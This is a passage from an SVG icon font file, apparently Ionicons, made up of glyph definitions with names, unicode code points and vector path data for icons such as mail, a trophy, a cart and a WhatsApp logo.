d="M412 240c9 -6 23 -16 32 -26c0 0 4 -28 4 -62c0 -48 -6 -93 -6 -93c-2 0 -3 -1 -5 -1c0 -1 -1 -13 -2 -21c0 -2 -1 -5 -6 -5h-64c-2 0 -5 1 -5 3l-1 17h-12c-25 0 -15 8 -27 8c-11 0 -55 -3 -96 -3s-85 3 -96 3c-12 0 -2 -8 -27 -8h-11l-1 -17c0 -2 -3 -3 -5 -3h-65
c-5 0 -6 3 -6 5c-1 8 -2 20 -2 21c-2 0 -3 1 -5 1c0 0 -6 45 -6 93c0 33 4 62 4 62c9 10 23 19 32 25c3 2 3 7 -1 8l-5 1v0c-7 0 -23 2 -26 5s-4 6 -4 9s2 8 5 11s15 5 23 6s9 0 11 -1s3 -7 3 -12c0 -3 3 -6 6 -7c2 0 2 1 3 3c5 13 12 34 21 51c12 21 23 27 28 29s9 3 43 6
c34 4 64 4 81 4s46 0 80 -4s38 -4 43 -6s17 -8 29 -29c9 -16 14 -36 19 -49c1 -3 5 -5 8 -4h1c1 0 2 2 2 3c0 6 1 14 3 15s2 2 10 1s21 -3 24 -6s5 -8 5 -11s-1 -6 -4 -9s-19 -5 -26 -5v0l-5 -1c-4 -1 -4 -5 -1 -7zM91 293c-4 -9 -10 -31 -9 -33s-1 -4 12 -3s91 3 130 3
s117 -2 130 -3s11 1 12 3s-6 24 -10 33c-2 5 -6 11 -10 17c-5 7 -12 12 -20 13c-17 3 -53 7 -102 7s-85 -4 -102 -7c-8 -1 -16 -6 -21 -13c-4 -6 -8 -12 -10 -17zM100 177c6 0 14 2 20 3c4 1 4 5 1 7c-7 5 -20 13 -37 18c-26 7 -41 7 -55 7c-2 0 -4 -1 -4 -3
c0 -4 -1 -11 1 -19c2 -11 26 -15 28 -15s6 3 11 3s25 -1 35 -1zM310 104c13 2 28 16 18 30c-6 8 -21 14 -49 18c-30 4 -48 4 -55 4s-26 0 -56 -4c-28 -4 -41 -10 -49 -18c-11 -13 6 -28 19 -30s58 -2 86 -2s73 0 86 2zM422 189c2 8 0 16 0 20c0 2 -1 3 -3 3
c-14 0 -30 -1 -56 -8c-17 -5 -30 -12 -37 -17c-3 -2 -2 -6 2 -7c6 -1 14 -3 20 -3c10 0 30 1 35 1s9 -4 11 -4s26 4 28 15z" />
    <glyph glyph-name="ion-ios-hand" unicode="&#xf190;" horiz-adv-x="320" 
d="M299 331c12 0 21 -10 21 -21v-233c0 -55 -32 -93 -78 -93h-58s-40 11 -40 11c-43 25 -94 96 -113 118c-20 22 -39 41 -27 53c18 17 40 7 66 -16l28 -24v219c0 11 9 20 21 20s21 -9 21 -20v-127c0 -5 4 -9 9 -9s9 4 9 9v161c0 11 9 21 21 21s21 -10 21 -21v-144
c0 -5 4 -8 9 -8s9 3 9 8v127c0 11 9 21 21 21s21 -10 21 -21v-161c0 -5 4 -9 9 -9s9 4 9 9v109c0 11 9 21 21 21z" />
    <glyph glyph-name="ion-md-brush" unicode="&#xf2a4;" horiz-adv-x="448" 
d="M118 146c39 0 71 -32 71 -70c0 -51 -43 -92 -95 -92c-36 0 -72 18 -94 46c20 0 47 16 47 46c0 38 32 70 71 70zM441 362c9 -9 9 -23 0 -32l-211 -207l-65 63l211 207c9 9 25 9 34 0z" />
    <glyph glyph-name="ion-ios-add-circle-outline" unicode="&#xf100;" 
d="M298 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-74v-74c0 -9 -7 -16 -16 -16s-16 6 -16 16v74h-74s-16 6 -16 16s7 16 16 16h74v74c0 9 7 16 16 16s16 -7 16 -16v-74h74zM208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53
s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-ios-mail-unread" unicode="&#xf145;" 
d="M320 296c0 27 21 48 48 48s48 -21 48 -48s-21 -48 -48 -48s-48 21 -48 48zM368 230c19 0 36 7 48 20v-178c0 -18 -14 -32 -32 -32h-352c-18 0 -32 14 -32 32v219c0 2 2 3 3 2l108 -110c1 -1 1 -2 0 -3l-75 -80c-5 -5 -5 -13 0 -18c2 -2 6 -4 9 -4s7 2 9 4l75 80
c1 1 2 1 3 0l18 -18c16 -16 36 -25 58 -25s43 8 58 24l18 19c1 1 2 1 3 0l75 -80c2 -2 6 -4 9 -4s7 2 9 4c5 5 5 13 0 18l-75 80c-1 1 -1 2 0 3l47 48c5 -1 11 -1 16 -1zM302 296c0 -22 10 -41 26 -53l-81 -82c-10 -11 -24 -16 -39 -16s-29 5 -39 16l-157 160c5 4 12 7 20 7
h278c-5 -10 -8 -20 -8 -32z" />
    <glyph glyph-name="ion-md-desktop" unicode="&#xf2df;" horiz-adv-x="448" 
d="M405 416c23 0 43 -20 43 -43v-282c0 -23 -20 -43 -43 -43h-138l42 -48v-32h-170v32l42 48h-138c-23 0 -43 20 -43 43v282c0 23 20 43 43 43h362zM405 128v245h-362v-245h362z" />
    <glyph glyph-name="ion-ios-briefcase" unicode="&#xf3ee;" 
d="M32 0c-18 0 -32 14 -32 32v192h416v-192c0 -18 -14 -32 -32 -32h-352zM384 320c18 0 32 -14 32 -32v-40h-416v40c0 18 14 32 32 32h8v8c0 4 4 8 8 8h32c4 0 8 -4 8 -8v-8h28v32c0 18 14 32 32 32h120c18 0 32 -14 32 -32v-32h28v8c0 4 4 8 8 8h32c4 0 8 -4 8 -8v-8h8z
M272 320v28c0 4 -4 8 -8 8h-112c-4 0 -8 -4 -8 -8v-28h128z" />
    <glyph glyph-name="ion-ios-cloud-circle" unicode="&#xf152;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM291 128c25 0 45 21 45 47c0 23 -16 42 -38 46c-4 38 -34 67 -72 67c-26 0 -49 -14 -62 -34c-4 2 -10 4 -15 4c-20 0 -36 -17 -36 -37c-20 -6 -33 -25 -33 -46c0 -26 20 -47 45 -47
h166z" />
    <glyph glyph-name="ion-md-trophy" unicode="&#xf39b;" 
d="M344 343h72c0 -62 -13 -108 -21 -127s-34 -52 -59 -70c-24 -17 -95 -53 -104 -58v-28c3 -9 17 -28 78 -28h26v-48h-256v48h21c60 0 78 18 83 28v28c-9 4 -74 35 -104 58c-32 25 -48 46 -59 70s-21 59 -21 127h71c-1 27 0 56 0 57h273c0 -1 1 -30 0 -57zM62 236
c10 -20 24 -37 41 -51c-11 26 -19 58 -26 97c-1 5 -1 10 -2 16h-29c2 -24 7 -44 16 -62zM354 236c9 18 14 38 16 62h-29c-1 -6 -1 -11 -2 -16c-7 -40 -15 -71 -26 -97c18 14 31 31 41 51z" />
    <glyph glyph-name="ion-md-apps" unicode="&#xf27a;" horiz-adv-x="320" 
d="M0 272v80h80v-80h-80zM120 32v80h80v-80h-80zM0 32v80h80v-80h-80zM0 152v80h80v-80h-80zM120 152v80h80v-80h-80zM240 352h80v-80h-80v80zM120 272v80h80v-80h-80zM240 152v80h80v-80h-80zM240 32v80h80v-80h-80z" />
    <glyph glyph-name="ion-md-mail-open" unicode="&#xf321;" horiz-adv-x="448" 
d="M448 246v-203c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v203c0 15 8 30 20 37l204 101l204 -101c13 -7 20 -22 20 -37zM224 144l171 112l-171 85l-171 -85z" />
    <glyph glyph-name="ion-md-cart" unicode="&#xf2b4;" 
d="M122 70c23 0 41 -18 41 -41s-18 -42 -41 -42s-42 19 -42 42s19 41 42 41zM0 397h68l19 -42h308c11 0 21 -9 21 -20c0 -4 -1 -8 -2 -10l-75 -129c-7 -14 -20 -22 -36 -22h-155l-21 -32s-2 -5 -2 -6c0 -3 2 -5 5 -5h238v-40h-243c-26 0 -45 14 -45 42c0 7 2 15 5 20l31 51
l-74 151h-42v42zM326 70c23 0 42 -18 42 -41s-19 -42 -42 -42s-41 19 -41 42s18 41 41 41z" />
    <glyph glyph-name="ion-md-archive" unicode="&#xf27c;" 
d="M406 348c7 -7 10 -17 10 -29v-289c0 -25 -21 -46 -46 -46h-324c-25 0 -46 21 -46 46v289c0 12 3 22 10 29l33 39c6 8 16 13 26 13h278c10 0 20 -5 26 -13zM208 65l127 127h-81v46h-92v-46h-81zM49 354h317l-22 23h-277z" />
    <glyph glyph-name="ion-logo-whatsapp" unicode="&#xf2c5;" horiz-adv-x="448" 
d="M228 416c121 0 220 -97 220 -218s-99 -218 -220 -218c-39 0 -74 10 -106 27l-122 -39l40 117c-20 33 -32 72 -32 113c0 121 99 218 220 218zM337 115c5 13 6 24 5 26s-5 4 -11 7s-32 18 -37 20s-9 2 -13 -3s-16 -17 -19 -21s-6 -4 -12 -1s-23 10 -44 30
c-16 15 -27 33 -30 39s0 9 3 12c3 2 6 6 9 9s4 5 6 9s1 7 0 10s-12 31 -16 42s-10 11 -13 11h-10s-10 -2 -15 -7s-21 -19 -22 -46s18 -54 21 -58s37 -64 93 -88s57 -17 67 -16s33 12 38 25z" />
    <glyph glyph-name="ion-md-paw" unicode="&#xf342;" 
d="M412 282c7 -15 5 -34 -3 -52c-11 -23 -34 -38 -56 -38c-6 0 -11 1 -16 3c-24 9 -32 39 -18 70c11 25 33 42 55 42c5 0 9 -1 14 -3c10 -4 19 -12 24 -22zM97 265c14 -31 6 -61 -18 -70c-5 -2 -11 -3 -16 -3c-22 0 -45 15 -56 38c-9 17 -9 37 -2 52c5 10 13 18 23 22
c5 2 9 3 14 3c22 0 44 -17 55 -42zM146 269c-30 1 -57 28 -61 61c-3 20 4 40 17 54c9 9 20 15 33 16h7c29 -1 50 -26 54 -60c3 -22 -1 -43 -14 -57c-8 -8 -18 -13 -30 -14h-6zM208 224c69 0 139 -97 139 -176c0 -24 -12 -43 -24 -51c-14 -10 -24 -13 -45 -13
c-13 0 -22 2 -28 6c-12 7 -26 10 -40 10h-4c-14 0 -28 -3 -40 -10c-6 -4 -15 -6 -28 -6c-21 0 -31 3 -45 13c-12 8 -24 27 -24 51c0 79 70 176 139 176zM265 269c-12 1 -23 6 -31 14c-13 14 -17 35 -14 57c4 34 26 59 55 60h6c13 -1 24 -7 33 -16c13 -13 20 -34 17 -54
c-4 -34 -30 -60 -60 -61h-6z" />
    <glyph glyph-name="ion-md-tablet-landscape" unicode="&#xf38c;" horiz-adv-x="448" 
d="M0 328c0 13 11 24 24 24h400c13 0 24 -11 24 -24v-272c0 -13 -11 -24 -24 -24h-400c-13 0 -24 11 -24 24v272zM384 320h-336v-256h336v256zM430 192c0 8 -6 14 -14 14s-14 -6 -14 -14s6 -14 14 -14s14 6 14 14z" />
    <glyph glyph-name="ion-md-mail" unicode="&#xf322;" horiz-adv-x="448" 
d="M405 368c23 0 43 -20 43 -43v-266c0 -23 -20 -43 -43 -43h-362c-23 0 -43 20 -43 43v266c0 23 20 43 43 43h362zM400 277v43l-176 -117l-176 117v-43l176 -117z" />
    <glyph glyph-name="ion-ios-git-compare" unicode="&#xf185;" horiz-adv-x="448" 
d="M202 120l59 -59c4 -4 7 -10 7 -16s-3 -11 -7 -15l-57 -58c-3 -3 -6 -4 -10 -4s-7 2 -10 4v0c-5 6 -5 15 0 20l40 40h-90c-34 0 -58 16 -70 45c-9 23 -9 50 -9 65v136c-15 3 -28 11 -38 22c-11 13 -17 29 -17 46c0 39 31 70 70 70s70 -31 70 -70c0 -17 -6 -34 -18 -47
c-10 -11 -24 -19 -39 -22v-135c0 -17 1 -42 9 -59c8 -16 22 -23 42 -23h89l-41 40v0c-3 3 -4 6 -4 10s1 7 4 10s6 4 10 4s7 -1 10 -4zM70 304c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42zM393 106c14 -3 28 -11 38 -22c11 -13 17 -29 17 -46
c0 -39 -31 -70 -70 -70s-70 31 -70 70c0 17 6 34 18 47c10 11 24 19 39 22v135c0 17 -1 41 -9 58c-8 16 -22 24 -42 24h-89l41 -40v0c3 -3 4 -6 4 -10s-1 -7 -4 -10s-6 -4 -10 -4s-7 1 -10 4l-59 59c-4 4 -7 10 -7 16s3 11 7 15l57 58c3 3 6 4 10 4s7 -2 10 -4v0
c5 -6 5 -15 0 -20l-40 -40h90c34 0 58 -16 70 -45c9 -23 9 -50 9 -65v-136zM378 -4c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42z" />
    <glyph glyph-name="ion-ios-radio" unicode="&#xf1f9;" horiz-adv-x="448" 
d="M28 192c0 -51 19 -98 54 -136c3 -3 4 -6 4 -10s-1 -7 -4 -10c-3 -2 -6 -4 -10 -4s-7 1 -10 4c-40 43 -62 98 -62 156c0 59 22 113 62 156c3 3 6 4 10 4s7 -1 10 -4c6 -6 5 -14 0 -20c-35 -38 -54 -85 -54 -136zM386 348c40 -43 62 -98 62 -156s-22 -112 -62 -155
c-3 -3 -6 -5 -10 -5s-8 1 -10 4c-6 6 -5 14 0 20c35 38 54 85 54 136s-19 98 -54 136c-3 3 -4 6 -4 10s1 7 4 10c3 2 6 4 10 4v0c4 0 7 -1 10 -4zM127 100v0c3 -3 4 -6 4 -10s-1 -6 -4 -9s-6 -5 -10 -5s-7 2 -10 5v0v0c-29 30 -45 68 -45 110c0 43 17 83 47 113
c3 3 6 4 10 4v0c4 0 7 -2 10 -5c5 -6 6 -14 0 -19c-25 -24 -39 -58 -39 -93c0 -34 13 -67 37 -91v0zM339 304c30 -30 47 -70 47 -112s-16 -81 -45 -111c-2 -3 -6 -5 -10 -5s-7 2 -10 5c-5 5 -5 14 0 19c24 24 37 58 37 92c0 35 -14 68 -39 92v0v0c-6 6 -5 14 0 19
c3 3 6 5 10 5v0c4 0 7 -1 10 -4zM175 265c5 -6 5 -15 0 -20c-14 -14 -23 -33 -23 -53s8 -39 22 -53c3 -3 4 -6 4 -10s-1 -7 -4 -10s-6 -4 -10 -4s-7 1 -10 4c-19 19 -30 45 -30 72c0 28 11 54 31 74c3 3 6 4 10 4v0c4 0 7 -1 10 -4zM294 265c20 -20 30 -46 30 -74
c0 -27 -10 -53 -29 -72c-3 -3 -6 -4 -10 -4s-7 1 -10 4s-4 6 -4 10s1 7 4 10c14 14 21 32 21 52s-8 40 -22 54c-6 6 -5 15 0 20c3 3 6 4 10 4v0c4 0 7 -1 10 -4zM224 230c21 0 38 -17 38 -38s-17 -38 -38 -38s-38 17 -38 38s17 38 38 38z" />
    <glyph glyph-name="ion-md-rose" unicode="&#xf372;" 
d="M213 233c-32 41 -61 76 -95 93c-14 7 -24 11 -30 14c86 25 120 76 120 76s35 -52 119 -78c-2 -1 -15 -3 -23 -8c-43 -25 -67 -56 -91 -97zM198 195c60 -92 109 -130 145 -158c-27 -41 -77 -69 -135 -69c-86 0 -156 62 -156 138c0 41 2 136 -52 215c83 0 138 -34 198 -126
zM416 321c-69 -101 -52 -174 -52 -215c0 -13 -2 -25 -6 -37c-8 6 -16 14 -27 24c-22 22 -57 58 -96 110c21 42 53 77 96 103c30 18 85 15 85 15z" />
    <glyph glyph-name="ion-md-build" unicode="&#xf2a6;" horiz-adv-x="448" 
d="M442 50c8 -6 8 -21 -2 -29l-47 -47c-8 -8 -20 -8 -28 0l-185 186c-47 -18 -101 -8 -140 31c-41 41 -51 102 -27 151l90 -88l61 62l-88 88c49 22 110 14 151 -27c39 -39 48 -94 30 -141z" />
    <glyph glyph-name="ion-ios-chatboxes" unicode="&#xf3fa;" 
d="M378 278c21 0 38 -17 38 -38v-155c0 -21 -21 -38 -42 -38h-1c-6 0 -10 -2 -10 -8v-50c0 -5 -5 -6 -9 -3l-63 58c-2 2 -5 3 -8 3h-127c-21 0 -38 17 -38 38v155c0 21 17 38 38 38h222zM126 302c-18 0 -32 -14 -32 -32v-100h-61c-18 0 -33 14 -33 32v165c0 18 15 33 33 33
h238c18 0 33 -15 33 -33v-65h-178z" />
    <glyph glyph-name="ion-ios-transgender" unicode="&#xf259;" 
d="M402 280c-8 0 -13 6 -13 13v60l-73 -72c34 -31 53 -74 53 -120c0 -31 -9 -60 -25 -86l20 -19l29 29c2 3 5 4 9 4s7 -1 10 -4c5 -5 5 -14 0 -19l-29 -30l29 -29c5 -5 5 -14 0 -19c-2 -3 -6 -4 -10 -4s-6 1 -9 4l-29 29l-30 -29c-2 -3 -5 -4 -9 -4s-7 1 -10 4
c-5 5 -5 14 0 19l29 29l-16 17c-31 -34 -74 -53 -120 -53c-43 0 -84 17 -114 47s-47 71 -47 114c0 46 19 89 53 120l-17 16l-30 -30c-2 -3 -5 -4 -9 -4s-7 1 -10 4c-5 5 -5 14 0 19l30 30l-37 37v-60c0 -8 -5 -13 -13 -13s-14 5 -14 13v93c0 8 6 14 14 14h93
c8 0 14 -6 14 -14s-6 -13 -14 -13h-60l37 -37l28 28c2 3 6 4 10 4s6 -1 9 -4c5 -5 5 -14 0 -19l-28 -29l19 -19c26 16 55 25 86 25s60 -9 86 -25l75 76h-60c-8 0 -13 5 -13 13s5 14 13 14h93c8 0 14 -6 14 -14v-93c0 -8 -6 -13 -14 -13zM342 161c0 36 -14 70 -39 95
s-59 39 -95 39s-70 -14 -95 -39s-39 -59 -39 -95s14 -70 39 -95s59 -39 95 -39s70 14 95 39s39 59 39 95z" />
    <glyph glyph-name="ion-ios-train" unicode="&#xf258;" horiz-adv-x="288" 
d="M282 -8c6 -5 6 -14 0 -20c-3 -3 -6 -4 -10 -4s-7 1 -10 4l-14 14h-208l-14 -14c-3 -3 -6 -4 -10 -4s-7 1 -10 4c-5 6 -6 15 0 20l50 48c6 5 15 6 20 0s6 -15 0 -20l-6 -6h148l-6 6c-6 5 -5 14 0 20s14 5 20 0zM225 400c35 0 63 -28 63 -63v-236c0 -35 -144 -65 -144 -65
s-144 30 -144 65v236c0 35 30 63 65 63h15c0 9 7 16 16 16h96c9 0 16 -7 16 -16h17zM144 96c26 0 48 22 48 48s-22 48 -48 48s-48 -22 -48 -48s22 -48 48 -48zM240 256v64c0 9 -7 16 -16 16h-160c-9 0 -16 -7 -16 -16v-64c0 -9 7 -16 16 -16h160c9 0 16 7 16 16zM114 144
c0 17 13 30 30 30s30 -13 30 -30s-13 -30 -30 -30s-30 13 -30 30z" />
    <glyph glyph-name="ion-md-checkmark-circle-outline" unicode="&#xf2ba;" 
d="M123 232l64 -64l179 178l29 -29l-208 -208l-93 93zM374 192h42c0 -114 -94 -208 -208 -208s-208 94 -208 208s94 208 208 208c28 0 54 -6 78 -16l-32 -32c-15 4 -30 6 -46 6c-92 0 -166 -74 -166 -166s74 -166 166 -166s166 74 166 166z" />
    <glyph glyph-name="ion-md-umbrella" unicode="&#xf39c;" 
d="M362 204c-17 0 -32 -11 -37 -26h-20c-6 14 -21 26 -38 26c-18 0 -40 -6 -42 -32v-119c0 -15 -1 -37 -14 -50c-10 -10 -23 -19 -43 -19c-36 0 -60 26 -60 61v21h43v-21c0 -14 10 -16 17 -16c14 0 13 15 13 24v118c-1 18 -16 33 -34 33c-16 0 -29 -11 -33 -26h-20
c-5 15 -19 26 -36 26c-13 0 -29 -11 -36 -26h-22v4c0 106 77 193 181 203c3 9 11 15 21 15s19 -6 22 -15c50 -5 97 -29 133 -66c38 -39 59 -91 59 -141h-20c-7 15 -22 26 -34 26z" />
    <glyph glyph-name="ion-md-trending-down" unicode="&#xf399;" horiz-adv-x="448" 
d="M448 51h-134l51 51l-109 110l-90 -90l-166 166l32 32l134 -134l90 89l141 -141l51 52v-135z" />
    <glyph glyph-name="ion-md-git-branch" unicode="&#xf2fa;" horiz-adv-x="320" 
d="M320 288c0 -24 -13 -44 -32 -55v-9c0 -42 -19 -76 -55 -99c-23 -15 -53 -25 -92 -31c-20 -3 -28 -14 -30 -19c10 -11 17 -26 17 -43c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v210c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64
c0 -24 -13 -44 -32 -55v-150c10 5 21 9 35 11c29 4 53 11 68 21c18 11 25 25 25 45v9c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64zM64 392c-22 0 -40 -18 -40 -40s18 -40 40 -40s40 18 40 40s-18 40 -40 40zM64 -8c22 0 40 18 40 40s-18 40 -40 40
s-40 -18 -40 -40s18 -40 40 -40zM256 248c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40z" />
    <glyph glyph-name="ion-ios-jet" unicode="&#xf1a5;" 
d="M416 400c0 0 -1 -19 -27 -53c-12 -15 -121 -162 -121 -162l8 -160l-36 -41l-52 102l-10 -8l-4 -82l-33 -6l-48 60l-53 -26l26 53l-60 48l6 33l82 4l8 10l-102 52l41 36l160 -8s146 109 162 121c33 26 53 27 53 27z" />
    <glyph glyph-name="ion-ios-school" unicode="&#xf209;" horiz-adv-x="448" 
d="M64 178c0 6 7 10 12 7l132 -75c2 -2 4 -4 4 -7v-94c0 -6 -7 -10 -12 -7l-132 76c-2 2 -4 4 -4 7v93zM248 2c-5 -3 -12 1 -12 7v94c0 3 2 6 4 7l132 76c5 3 12 -1 12 -7v-94c0 -3 -2 -6 -4 -7zM216 383c5 3 11 3 16 0l212 -129c2 -2 4 -5 4 -8v-171c0 -7 -6 -10 -10 -10v0
c-7 0 -11 3 -11 10v153c0 6 -2 10 -7 7l-188 -108c-5 -3 -11 -3 -16 0l-212 118c-5 3 -5 11 0 14z" />
    <glyph glyph-name="ion-ios-magnet" unicode="&#xf1b4;" 
d="M414 186c2 -2 2 -6 0 -8l-57 -58c-2 -2 -7 -2 -9 0l-163 163c-13 13 -28 20 -42 22s-26 -2 -36 -12s-15 -23 -13 -37s10 -28 23 -41l163 -163c2 -2 2 -7 0 -9l-58 -57c-1 -1 -2 -2 -4 -2s-3 1 -4 2l-173 172c-27 27 -41 62 -41 100s14 74 41 101s63 41 101 41
s73 -14 100 -41zM228 68l-30 -30l20 -20l30 30zM352 152l30 30l-20 20l-30 -30z" />
    <glyph glyph-name="ion-ios-flash" unicode="&#xf17e;" horiz-adv-x="256" 
d="M248 224c6 0 11 -8 7 -14l-184 -240c-3 -4 -8 -1 -7 3l52 187h-108c-6 0 -10 7 -6 13l183 241c3 4 8 1 7 -3l-52 -187h108z" />
    <glyph glyph-name="ion-logo-twitch" unicode="&#xf2af;" 
d="M32 416h384v-272l-112 -112h-80l-64 -64h-64v64h-96v304zM368 160v208h-304v-272h80v-64l64 64h96zM272 176v129h48v-129h-48zM160 176v129h48v-129h-48z" />
    <glyph glyph-name="ion-md-disc" unicode="&#xf2e0;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 98c52 0 94 42 94 94s-42 94 -94 94s-94 -42 -94 -94s42 -94 94 -94zM208 213c11 0 21 -10 21 -21s-10 -21 -21 -21s-21 10 -21 21s10 21 21 21z" />
    <glyph glyph-name="ion-md-cube" unicode="&#xf2dd;" horiz-adv-x="448" 
d="M435 280c7 0 13 -6 13 -12v-183c0 -9 -6 -19 -14 -23v0l-175 -92v-1c-2 -1 -4 -1 -6 -1c-7 0 -13 6 -13 12v185c0 9 4 17 12 22h1l177 92c2 1 3 1 5 1zM422 330c0 0 8 -4 8 -10c0 -8 -8 -11 -8 -11l-185 -98c-4 -2 -8 -3 -13 -3c-4 0 -9 1 -13 3l-185 97s-8 5 -8 12
c0 6 8 10 8 10l182 81s10 5 16 5s17 -5 17 -5zM196 187c8 -5 12 -13 12 -22v-185c0 -6 -6 -12 -13 -12c-2 0 -4 1 -6 2l-175 92v1c-8 4 -14 13 -14 22v183c0 6 6 12 13 12c2 0 3 0 5 -1z" />
    <glyph glyph-name="ion-md-log-in" unicode="&#xf31e;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208c-43 0 -84 13 -119 38c-34 24 -60 57 -75 96l-4 10h46l2 -5c8 -18 19 -34 33 -48c31 -31 73 -48 117 -48s86 17 117 48s48 73 48 117s-17 86 -48 117s-73 48 -117 48s-86 -17 -117 -48c-14 -14 -25 -30 -33 -48l-2 -5
h-46l4 10c15 39 41 72 75 96c35 24 76 38 119 38zM0 171v42h190l-45 45l31 30l96 -96l-96 -96l-30 30l44 45h-190z" />
    <glyph glyph-name="ion-md-happy" unicode="&#xf305;" 
d="M208 400c114 0 208 -94 208 -208s-93 -208 -208 -208s-208 94 -208 208s93 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166zM281 213c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM135 213
c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM208 78c-49 0 -89 29 -106 72h212c-17 -43 -57 -72 -106 -72z" />
    <glyph glyph-name="ion-logo-npm" unicode="&#xf195;" horiz-adv-x="512" 
d="M228 178v57h28v-57h-28zM0 292h512v-171h-256v-29h-114v29h-142v171zM142 149v114h-114v-114h57v86h29v-86h28zM284 149v114h-113v-143h57v29h56zM484 149v0v114h-171v-114h57v86h28v-86h29v86h28v-86h29z" />
    <glyph glyph-name="ion-md-watch" unicode="&#xf3a6;" horiz-adv-x="320" 
d="M320 192c0 -51 -24 -96 -61 -125l-19 -115h-160l-19 115c-37 29 -61 74 -61 125s24 96 61 125l19 115h160l19 -115c37 -29 61 -74 61 -125zM40 192c0 -66 54 -120 120 -120s120 54 120 120s-54 120 -120 120s-120 -54 -120 -120z" />
    <glyph glyph-name="ion-md-notifications" unicode="&#xf338;" horiz-adv-x="352" 
d="M176 -16c-23 0 -41 19 -41 42h82c0 -23 -18 -42 -41 -42zM311 109l41 -42v-21h-352v21l41 42v114c0 63 45 117 104 131v15c0 18 13 31 31 31s31 -13 31 -31v-15c59 -14 104 -68 104 -131v-114z" />
    <glyph glyph-name="ion-md-bookmarks" unicode="&#xf2a0;" horiz-adv-x="384" 
d="M341 384c24 0 43 -19 43 -43v-298c0 -24 -19 -43 -43 -43h-21c16 5 23 21 23 43v298c0 22 -8 37 -23 43h21zM282 384c22 -2 38 -21 38 -43v-298c0 -22 -16 -41 -38 -43h-5h-234c-24 0 -43 19 -43 43v298c0 24 19 43 43 43h234h5zM144 192v160h-112v-160l56 32z" />
    <glyph glyph-name="ion-ios-volume-mute" unicode="&#xf263;" horiz-adv-x="160" 
d="M151 302c6 -3 9 -8 9 -14v-192c0 -6 -3 -11 -9 -14c-2 -1 -5 -2 -7 -2c-4 0 -7 2 -10 4l-65 52h-53c-9 0 -16 7 -16 16v80c0 9 7 16 16 16h53l65 52c3 2 6 4 10 4c2 0 5 -1 7 -2z" />
    <glyph glyph-name="ion-ios-male" unicode="&#xf1b9;" 
d="M402 400c8 0 14 -6 14 -14v-108c0 -8 -6 -14 -14 -14s-13 6 -13 14v75l-91 -90c26 -31 40 -70 40 -110c0 -23 -4 -45 -13 -66c-8 -20 -20 -37 -36 -53s-34 -29 -54 -37c-21 -9 -43 -13 -66 -13s-45 4 -66 13c-20 8 -37 21 -53 37s-29 33 -37 53c-9 21 -13 43 -13 66
s4 45 13 66c8 20 21 38 37 54s33 28 53 36c21 9 43 13 66 13c40 0 79 -14 110 -40l90 91h-75c-8 0 -14 5 -14 13s6 14 14 14h108zM311 153c0 38 -15 73 -42 100s-62 42 -100 42s-73 -15 -100 -42s-42 -62 -42 -100s15 -73 42 -100s62 -42 100 -42s73 15 100 42s42 62 42 100
z" />
    <glyph glyph-name="ion-ios-cut" unicode="&#xf16a;" horiz-adv-x="360" 
d="M232 171c-25 -33 -38 -42 -38 -42l-14 -9c-7 -4 -20 -14 -29 -28c-14 -23 -25 -55 -26 -58c-4 -14 -12 -26 -22 -35c-11 -10 -25 -15 -39 -15c-17 0 -34 8 -46 22c-12 13 -18 31 -18 49s6 36 18 49c12 14 28 22 46 22c12 0 24 -4 34 -11l10 20c3 7 7 15 11 22
c2 4 5 9 9 15c3 5 6 9 9 14c8 12 15 22 15 23v0l15 20v0l3 4l10 13l114 154c6 0 15 -2 20 -7c12 -11 19 -23 19 -41c0 -13 -4 -28 -11 -46c-10 -24 -64 -102 -90 -135zM64 27c13 0 24 12 24 28c0 15 -11 28 -24 28s-24 -13 -24 -28s11 -28 24 -28zM180 160c9 0 16 7 16 16
s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM116 188c-35 48 -69 97 -78 118c-7 18 -11 32 -11 46c0 18 7 35 19 44c4 3 10 4 19 4l105 -141l-47 -65c-2 -3 -3 -6 -5 -9c-1 1 -1 2 -2 3zM296 126c35 0 64 -32 64 -71s-29 -71 -64 -71c-14 0 -28 5 -39 15
c-10 9 -18 21 -22 35c-1 3 -12 35 -26 58c-5 7 -10 12 -15 17l36 33l11 14c4 -7 7 -14 10 -21c4 -8 8 -14 11 -20c10 7 22 11 34 11zM296 27c13 0 24 12 24 28c0 15 -11 28 -24 28s-24 -13 -24 -28s11 -28 24 -28z" />
    <glyph glyph-name="ion-ios-paper-plane" unicode="&#xf1dd;" 
d="M404 399c6 3 14 -2 12 -9l-82 -400c-1 -6 -7 -8 -12 -4l-99 72c-4 3 -9 2 -12 -2l-38 -45c-4 -6 -10 -4 -11 3l11 78c1 7 3 12 7 18l179 219c2 3 0 6 -3 7c-2 0 -3 0 -4 -1l-208 -203c-4 -5 -7 -11 -7 -18l8 -91c0 -5 -9 -3 -10 2l-53 109c-2 4 -5 6 -9 8l-68 26
c-6 3 -7 12 -1 15z" />
    <glyph glyph-name="ion-md-eye-off" unicode="&#xf2e8;" horiz-adv-x="448" 
